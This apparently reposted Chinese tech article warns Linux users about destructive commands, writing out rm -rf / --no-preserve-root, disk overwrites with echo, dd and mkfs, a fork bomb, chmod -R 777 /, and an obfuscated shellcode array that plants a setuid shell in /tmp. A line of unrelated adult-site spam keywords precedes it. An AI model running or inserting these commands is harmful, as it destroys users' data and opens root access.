一区二区三区三上|欧美在线视频五区|国产午夜无码在线观看视频|亚洲国产裸体网站|无码成年人影视|亚洲AV亚洲AV|成人开心激情五月|欧美性爱内射视频|超碰人人干人人上|一区二区无码三区亚洲人区久久精品

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

分享一些流行危險(xiǎn)的Linux命令

CHANBAEK ? 來源:myfreax ? 作者:myfreax ? 2022-12-14 17:26 ? 次閱讀
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

Linux你擁有的工具使你能夠控制和修改操作系統(tǒng)的每一個方面。但如果你不熟悉這些命令和工具,你可以很容易地把你的系統(tǒng)摧毀。

想象一下家庭中的小孩子的情景。孩子有許多方法可以傷害自己。但這是否意味著不應(yīng)允許孩子離開嬰兒床?那會對她的成長造成損害。

這就是父母設(shè)定界限和引導(dǎo)孩子的地方。不要靠近火堆,不要把手指戳到電源插座。

隨著孩子的成長和經(jīng)驗(yàn)的積累,她可以把爐子打開,在壁爐里生火,插上電源線。

同樣,如果你知道一些已知的風(fēng)險(xiǎn)命令,你可能會避免落入陷阱,他們試圖欺騙你運(yùn)行命令,擾亂你的系統(tǒng)。

當(dāng)你積累了經(jīng)驗(yàn),知道了這些命令和工具的含義和用法,用愚蠢和棘手的命令破壞你的系統(tǒng)的機(jī)會就會減少。

這里我們與你分享一些流行危險(xiǎn)的Linux命令。讓我們看看它們是如何干掉你的 Linux 系統(tǒng)的。

rm -rf /*

這個可能是在各種社交媒體上出現(xiàn)的最多的命令。你會經(jīng)常發(fā)現(xiàn)大佬們在各種討論中提及這個。

rm 命令用于刪除文件或者目錄。選項(xiàng)-r-f 表示遞歸地刪除指定目錄內(nèi)的所有文件。如果沒有root權(quán)限,這個命令造成任何傷害不大。

運(yùn)行命令sudo rm -rf /也不會產(chǎn)生任何問題,因?yàn)榇蠖鄶?shù)發(fā)行版提供一個故障安全選項(xiàng)。你需要指定--no-preserve-root才能運(yùn)行它。

它遞歸地刪除根目錄的所有文件,在一段時間后,你的系統(tǒng)會被凍結(jié),并顯示刪除文件錯誤。重新啟動系統(tǒng),你將被送到grub-rescue提示符。

sudo rm -rf / --no-preserve-root
sudo rm -rf /*

覆蓋你的分區(qū)

如果你熟悉文件系統(tǒng),你可能知道/dev/sda是什么。通常是你的磁盤驅(qū)動器。重定向操作符>用于將其前面命令的標(biāo)準(zhǔn)輸出寫入指定設(shè)備文件。

但是你可能會在運(yùn)行命令時把它寫到/dev/sda。例如你可能會運(yùn)行命令echo "Hello" > /dev/sda

命令將會把Hello字符串替換/dev/sda驅(qū)動器的所有數(shù)據(jù),/dev/sda驅(qū)動器數(shù)據(jù)也就丟失。

echo "Hello" > /dev/sda

標(biāo)準(zhǔn)輸入,標(biāo)準(zhǔn)輸出,標(biāo)準(zhǔn)錯誤與重定向 | myfreax

0表示標(biāo)準(zhǔn)輸入。1表示標(biāo)準(zhǔn)輸出。2標(biāo)準(zhǔn)錯誤。您可以使用這些文件描述符來控制程序或者腳本的輸入和輸出

myfreaxmyfreax

標(biāo)準(zhǔn)輸入,標(biāo)準(zhǔn)輸出,重定向

把所有移動到/dev/null

在每個Linux系統(tǒng)內(nèi)都有一個空設(shè)備文件。而這個空設(shè)備文件就是/dev/null。通常稱它為黑洞。

無論你把什么東西移動這個這個文件都會永遠(yuǎn)丟失。而且它在丟棄數(shù)據(jù)后會將寫入過程報(bào)告為成功,這是其破壞性的主要原因。

mv 命令用來移動或重命名文件/目錄。命令mv /home/user/* /dev/null把家目錄內(nèi)的所有文件都移到黑洞。雖然系統(tǒng)沒有被破壞,但你所有的個人數(shù)據(jù)都會丟失。

mv /home/user/* /dev/null

Linux mv命令移動文件與目錄 | myfreax

移動文件和目錄是您在Linux系統(tǒng)上經(jīng)常需要執(zhí)行的最基本的任務(wù)之一。在本教程中,我們將說明如何使用mv命令移動文件和目錄。

myfreaxmyfreax

mv 命令移動文件

格式化硬盤

mkfs是一個命令行工具,用于格式化磁盤和分區(qū)。它是一個超級方便的工具,可以為你創(chuàng)建分區(qū)。

但同樣的命令也可以格式化你的硬盤。格式化你的驅(qū)動器意味著刪除系統(tǒng)啟動所需的所有文件。

命令mkfs.ext3 /dev/sda完成了它的工作,而你最終得到了一個無法恢復(fù)的混亂的系統(tǒng)。

mkfs.ext3 /dev/sda

如何創(chuàng)建磁盤分區(qū)在Linux | myfreax

安裝新的SSD或硬盤后,您需要做的第一件事就是對其進(jìn)行分區(qū)。每個驅(qū)動器至少需要一個分區(qū),然后才能對其進(jìn)行格式化并在其中存儲文件

myfreaxmyfreax

fdisk命令創(chuàng)建分區(qū)

fork 炸彈

:(){ :|:& };:這個看起來很可愛的特殊字符和符號的隨機(jī)組合,足以通過耗盡系統(tǒng)資源來凍結(jié)一個正在運(yùn)行的系統(tǒng)。

&是Shell后臺操作符。它通知Shell將命令放在后臺運(yùn)行。在這里定義一個叫做 : 的函數(shù)。

它調(diào)用自己兩次,一次在前臺,一次在后臺。這個過程不斷地重復(fù)執(zhí)行,直到系統(tǒng)凍結(jié)。

顧名思義,它會自己fork,最終成為一個連鎖炸彈,吃掉了所有的系統(tǒng)資源。你將被迫重啟系統(tǒng),這并不像中其他命令那樣糟糕。

:(){ :|:& };:

覆蓋重要的配置文件

>雖然這本身不是一個命令,但它更像是一個預(yù)防性的東西。如上所述,>操作符是用來向文件寫入內(nèi)容。

>操作符重寫文件中已經(jīng)存在的數(shù)據(jù),并將提供的新數(shù)據(jù)寫入文件中。如果你將一些重要的配置文件作為寫數(shù)據(jù)的地方,原始配置將會丟失,留下一個損壞的系統(tǒng)。

command > config_filename

用垃圾數(shù)填充換分區(qū)

/dev/random是Linux 的一個命令,它可以創(chuàng)建垃圾數(shù)據(jù)。把它和dd命令以及你的分區(qū)組合起來,你就得到了一個可以讓你的分區(qū)爆炸的燃燒彈。

dd命令被用作一個低級別的復(fù)制工具。在這里它從/dev/random中獲取隨機(jī)數(shù)據(jù),并用這些垃圾數(shù)據(jù)替換/dev/sda分區(qū)。

另一個實(shí)現(xiàn)類似效果的命令是cat /dev/urandom > filename,在這里它從 /dev/urandom獲取隨機(jī)數(shù)據(jù)并寫入一個文件。

如果不使用 Ctrl + C終止,文件會占據(jù)相當(dāng)大的空間,這對低端系統(tǒng)來說可能是災(zāi)難性的。

/dev/urandom/dev/random是一樣的設(shè)備文件

dd if=/dev/random of=/dev/sda
cat /dev/urandom > filename

Linux cat命令技巧與詳解 | myfreax

cat命令是Linux中最常用的命令之一,cat命令的名稱來自于concatenate。cat最常用于打印一個或多個文本文件的內(nèi)容

myfreaxmyfreax

將系統(tǒng)暴露所有人

在Linux,所有東西都是文件,每個 文件都有一定的權(quán)限。你可以運(yùn)行l(wèi)s命令ls -l查看權(quán)限。

根文件系統(tǒng)是不允許沒有權(quán)限的用戶訪問的。雖然這保證系統(tǒng)的私密性和安全性,但你可以用一個命令顛覆這個系統(tǒng)。

命令chmod -R 777 /將根分區(qū)上的所有文件暴露給所有人。這意味著每個使用該系統(tǒng)的人都有讀、寫和執(zhí)行的權(quán)限。這對你的系統(tǒng)是不利的。

chmod -R 777 /

Linux chmod 命令修改文件目錄權(quán)限 | myfreax

在Linux,通過文件權(quán)限,屬性和所有權(quán)來管理對文件的訪問

myfreaxmyfreax

下載并運(yùn)行惡意的內(nèi)容

你如何在Linux中安裝軟件?你可以使用官方的軟件包管理器,或者使用低級別的包管理工具如Deb/RPM、Snap、Flatpak等。

然而有些軟件是沒有打包的分發(fā)的,它們的開發(fā)者提供下載和安裝Shell腳本。你下載一個Shell文件,然后以root用戶運(yùn)行它。

這樣的命令會在你的系統(tǒng)中下載并運(yùn)行惡意腳本,這可能會破壞你的系統(tǒng)的安全性。

偽裝的命令

在Linux終端,有許多方法可以運(yùn)行命令。其中一種方式是十六進(jìn)制編碼的命令。

雖然它看起來很花哨,但這是rm -rf命令另一個編碼版本。它的效果與運(yùn)行前面的命令相同。

因此,在從互聯(lián)網(wǎng)上復(fù)制和粘貼這些花哨的命令時,要小心謹(jǐn)慎。因?yàn)闅w根結(jié)底,還是要靠用戶來保證,不要盲目地運(yùn)行任何危險(xiǎn)的命令而破壞系統(tǒng)。

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\\xeb\\x3e\\x5b\\x31\\xc0\\x50\\x54\\x5a\\x83\\xec\\x64\\x68”
“\\xff\\xff\\xff\\xff\\x68\\xdf\\xd0\\xdf\\xd9\\x68\\x8d\\x99”
“\\xdf\\x81\\x68\\x8d\\x92\\xdf\\xd2\\x54\\x5e\\xf7\\x16\\xf7”
“\\x56\\x04\\xf7\\x56\\x08\\xf7\\x56\\x0c\\x83\\xc4\\x74\\x56”
“\\x8d\\x73\\x08\\x56\\x53\\x54\\x59\\xb0\\x0b\\xcd\\x80\\x31”
“\\xc0\\x40\\xeb\\xf9\\xe8\\xbd\\xff\\xff\\xff\\x2f\\x62\\x69”
“\\x6e\\x2f\\x73\\x68\\x00\\x2d\\x63\\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

UNIX 的工作不是要阻止你搬起石頭砸你自己的腳。如果你選擇這樣做,那么UNIX的工作就是以它所知道的最有效的方式將石頭砸到腳上。

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報(bào)投訴
  • Linux
    +關(guān)注

    關(guān)注

    87

    文章

    11509

    瀏覽量

    213753
  • 操作系統(tǒng)
    +關(guān)注

    關(guān)注

    37

    文章

    7147

    瀏覽量

    125572
  • 命令
    +關(guān)注

    關(guān)注

    5

    文章

    737

    瀏覽量

    22876
收藏 人收藏
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

    評論

    相關(guān)推薦
    熱點(diǎn)推薦

    介紹一些實(shí)用的Linux命令

    作為名軟件開發(fā)人員,掌握 Linux 命令是必不可少的技能。即使你使用 Windows 或 macOS,你總會遇到需要使用 Linux 命令
    發(fā)表于 08-01 16:12 ?513次閱讀
    介紹<b class='flag-5'>一些</b>實(shí)用的<b class='flag-5'>Linux</b><b class='flag-5'>命令</b>

    Linux系統(tǒng)的一些常用的基本命令分享

    Linux系統(tǒng)的一些常用的基本命令
    發(fā)表于 01-04 06:36

    Linux關(guān)機(jī)命令詳解

    Linux關(guān)機(jī)命令詳解 在linux一些常用的關(guān)機(jī)/重啟命令有shutdown、halt、reboot、及init,它們都 可以達(dá)到重啟
    發(fā)表于 01-18 12:52 ?3745次閱讀

    linux安裝的一些軟件

    linux安裝的一些軟件,jdk和tomcat類的。
    發(fā)表于 11-09 17:39 ?0次下載

    學(xué)習(xí)管理 docker 容器的一些命令

    在本教程中,我們會學(xué)習(xí)管理 docker 容器的一些命令
    的頭像 發(fā)表于 01-22 11:56 ?4508次閱讀

    根據(jù)一些簡單的實(shí)例來討論 Linux rmdir 命令

    Linux 命令行上刪除文件和目錄,我們已經(jīng)討論過 rm 命令 的使用。然而,這里有另個相關(guān)的命令行工具,專門針對目錄的刪除。這是所指
    的頭像 發(fā)表于 02-23 09:42 ?4349次閱讀
    根據(jù)<b class='flag-5'>一些</b>簡單的實(shí)例來討論 <b class='flag-5'>Linux</b> rmdir <b class='flag-5'>命令</b>

    如何通過一些Linux的安全命令加固你的Linux系統(tǒng)?改善你的Linux安全

    在最開始,我們需要問的個問題是:Linux是已經(jīng)足夠被安全加固了嗎?答案當(dāng)然是否定的。那些嫻熟的攻擊者所帶來的危險(xiǎn)是與日俱增的。每天、甚至是每小時都有新的漏洞被發(fā)現(xiàn)。對這些漏洞的利用方法通常建立在
    的頭像 發(fā)表于 09-24 12:42 ?1w次閱讀

    匯總下能夠幫助樹莓派初學(xué)者入門的一些資源

    樹莓派運(yùn)行的是Linux系統(tǒng),因此需要對Linux命令和操作進(jìn)行熟悉,我個人的體會Linux命令行就跟當(dāng)年我們學(xué)的DOS系統(tǒng)
    的頭像 發(fā)表于 04-04 14:43 ?1.2w次閱讀

    Linux上常用的命令有哪一些

    Linux上常用的12條命令
    發(fā)表于 11-12 14:45 ?843次閱讀

    linux常用命令大全

    linux常用命令大全,一些常用的命令都可以找到
    發(fā)表于 03-03 09:20 ?0次下載

    危險(xiǎn)Linux命令清單

    有人無數(shù)次問我這個問題,我直避免回答,因?yàn)闆]有個明確的危險(xiǎn)Linux 命令清單。
    的頭像 發(fā)表于 09-26 09:16 ?1342次閱讀

    分享一些Linux服務(wù)器的安全小貼士

    今天浩道跟大家分享一些Linux服務(wù)器的安全小貼士,讓你維護(hù)linux服務(wù)器安全上有一些方向!
    發(fā)表于 01-29 11:27 ?451次閱讀

    Linux history命令的使用技巧

    使用 Linux 命令行工作,需要了解且使用 history 的一些常用的特性,不管是 Linux 初學(xué)者,還是系統(tǒng)專家。
    的頭像 發(fā)表于 02-03 16:30 ?3370次閱讀
    <b class='flag-5'>Linux</b> history<b class='flag-5'>命令</b>的使用技巧

    一些高效linux命令技巧總結(jié)

    今天浩道跟大家分享硬核干貨,關(guān)于linux運(yùn)維中那些高效的運(yùn)維命令??梢哉f掌握以下這些技巧,你將收到事半功倍的效果!
    的頭像 發(fā)表于 02-12 17:00 ?1073次閱讀

    shell命令linux命令樣嗎

    結(jié)合在起,形成個相當(dāng)于面向過程的程序,即shell script,從而實(shí)現(xiàn)一些復(fù)雜的功能。 而Linux命令則是用來對
    的頭像 發(fā)表于 11-08 10:51 ?3473次閱讀